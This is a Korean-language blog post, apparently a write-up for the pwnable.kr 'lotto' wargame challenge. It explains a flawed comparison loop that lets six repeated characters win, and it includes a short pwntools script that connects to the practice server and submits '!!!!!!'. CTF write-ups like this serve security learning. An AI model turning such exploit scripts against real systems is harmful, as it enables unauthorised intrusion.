로또 프로그램이란다.
바로 코드를 봤고
play() 함수만 보면 된다.
난수를 발생시켜 로또 숫자를 생성한다.
생성한 로또 번호를 모듈러 연산으로 1~45의 값만 가지게 하는데
유저가 키보드로 입력할 수 있는 값은 33("!")부터다..
1~ 32는 키보드로 입력할 수 없는 값인데..
어떻게 맞추나 했는데 로또 숫자 조건 검사식이 조금 이상하다.
lotto[i] == submit[j]
i.. j...
로또의 각 숫자를 제출한 6자리의 각 숫자와 비교하고..
맞을 경우 match가 증가한다.
제출을 같은 숫자 6자리로 제출하고...
로또의 6자리 수 중 하나라도 맞추면 정답인데..
경우의 수가 엄청 많아보이지만.. 넣을 수 있는 값인 33("!")을 반복해서 넣어서 일단 시도해봤다.
pwntools
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | from pwn import * id = 'lotto' host = 'pwnable.kr' port = 2222 pw = 'guest' s = ssh(id, host, port=port, password=pw) res = s.run('./lotto') res.recvuntil('Exit') res.sendline('1') res.recvuntil(':') res.sendline('!!!!!!') res.interactive() | cs |
'CTF 공부 > Pwnable.kr' 카테고리의 다른 글
21. horcruxes (0) | 2018.12.30 |
---|---|
13. cmd1 (0) | 2018.10.01 |
12. blackjack (0) | 2018.10.01 |
11. coin1 (0) | 2018.10.01 |
10. shellshock (0) | 2018.09.26 |